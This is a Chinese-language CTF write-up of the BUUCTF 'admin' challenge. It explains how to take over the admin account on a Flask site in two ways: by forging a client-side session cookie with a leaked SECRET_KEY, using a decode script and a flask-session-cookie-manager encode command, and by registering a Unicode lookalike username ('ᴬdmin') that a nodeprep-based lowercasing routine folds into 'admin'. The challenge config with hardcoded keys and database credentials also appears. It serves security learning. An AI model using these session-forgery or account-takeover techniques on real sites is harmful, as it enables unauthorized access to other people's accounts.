BUUCTF学习笔记-admin

BUUCTF学习笔记-admin

时间:2020/03/17
考点:session欺骗、flask框架

BUUCTF学习笔记-admin_第1张图片

        首页中右键查看源代码,可以看到有一个提示。you are not admin,大概就能猜到这一题估计就是要使用admin的身份去登陆网站拿到flag。于是就使用账号admin密码123发现直接就能等进去了。而且首页就显示出falg了,不感相信退出去输入密码123123发现显示密码错误。推测admin的密码真的是123。感觉考点肯定不是弱密码,估计是作者没太在意,假装不知道密码继续做下去。

        首先发现在未登陆的情况下能访问三个页面indexloginregister。登陆页面除了一开始的提示没什么特别的,尝试在另外两个页面上面突破。

        登陆页面看一下存不存在SQL注入,试了一下发现'会引发报错,进到一个错误页面,里面有命令行可以运行python代码。但感觉没啥东西,就算有自己也不会。
        注册页面,看看能不能注册一个admin账户覆盖之前的,发现会提示当前用户已注册。所以就随便注册了个账户test登陆进去。

        发现在登陆的情况下能访问三个页面indexpostseditchange。逐个看看有没有什么能利用的地方。

        index页面和之前的index页面查看源代码是一样的。
        posts页面进入只会显示404,就算再后面新增了文章也是一样。
        edit页面是一个类似博客编写页面,有两个文本框,但试了一下XSS都被过滤了。
        change页面是一个修改密码的页面。可能存在逻辑漏洞,尝试一下发现不需要输入之前的密码直接输入新密码就行,这样就不存在多步骤校验可能存在的逻辑绕过。而且查看报文发现报文中没有写用户名,里面只有一个新密码。证明用户名是通过session来获取的,所以也不存在中间截获修改的漏洞。但在修改密码页面的源代码中发现提示了我们整个工程的Git地址。

BUUCTF学习笔记-admin_第2张图片

0x01 Session欺骗

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}h1>
{% endif %}

<h1 class="nav">Welcome to hctfh1>

{% include('footer.html') %}

        可以从上面index页面模板看出只要从session中得到的值name为admin就会显示flag。查阅资料得知,flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到session中。和服务端的session不同,服务端的session保存在服务端中,依靠客户端cookie值中的sessionId来进行识别。本身sessionId是没有价值的,而客户端的session是可以被截取破解后得到有价值的原文。在网上找了一个解密的脚本:

#index.html
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    s = ".eJxF0FFrgzAQwPGvMu65DzW2Dyv0YSUuOLgEN6MkL9KpVRPTgm1RUvrdZ8vYXu8Pv-PuBsVhqM8tbC7DtV5A0VWwucHLN2wAvQrRNEvlkrVg6JHEITJtRZ5MmGcGqVwpFweCJWttsk6ZMuS5XCufEO7LEZkMtJNEkWRSvuq5sUtl3iZlZMBN5VSa9Zw-3GgpaBQgbUJMldezo3w0atq2POd2NgJBs1alzWxbotm742lJBP0wyjxmcgv3BZTn4VBcTrY-_p-Q6xa99chw5ESOaHatyOMVsk87r_PopRcsM5ruekHjFTdza7ZPrnP7pv6TMvYaff2W497NAfpu6vanqoYFXM_18HwdBAHcfwAZDW29.Xm3XLw.rKQb53GYqcXqHrEvMQPu9g0eMc0"
    print(decryption(s.encode()))

在这里插入图片描述

        可以看到能解密出来原来的内容,能看到很明显一个是name字段正是我们之前注册的test。那只要改一下这个值,然后重新加密一下就可以了。加密的脚本看大佬的writeup上有个地址:https://github.com/noraj/flask-session-cookie-manager。拿到后直接使用即可。加密还需要一个值SECRET_KEY,这个在config.py中能看到。

#config.py
import os
class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True
python3 ./flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'3ca4bd7cc2e28139e9e1962ea737e7c901883f0fbecb9a1df7f45c23b9816404c55626e5799bed5f3968a379e68559254211f490ff49b41bc8bb9ab93c6f5f4f', 'csrf_token': b'da5ebb2c1dfe93c9c1276b6428e8dcbdfa22e39e', 'image': b'YEfZ', 'name': 'admin', 'user_id': '10'}"

BUUCTF学习笔记-admin_第3张图片

        可以看到顺利生成了session,我们只需要将这session替换掉之前那个,然后访问index页面就行。

BUUCTF学习笔记-admin_第4张图片

0x02 Unicode欺骗

        通过代码审计能看到在注册、登陆和修改密码的方法中,都对用户名进行了strlower函数的操作。python本身就有str.lower()的方法,作者还专门写了一个自己的方法。这个方法里面有一个漏洞,就算Unicode欺骗。

def strlower(username):
    username = nodeprep.prepare(username)
    return username
ᴬdmin->Admin->admin  可以看到经过两次strlower后就能变成admin。

        只需要注册ᴬdmin账户,然后登陆上去修改密码后,就能直接修改掉admin的密码。然后使用这个新密码直接登陆admin账号。字符可以在这个网站找https://unicode-table.com/en/1D2E/,类型为Modifier Letter Capital。

你可能感兴趣的:(BUUCTF学习笔记-admin)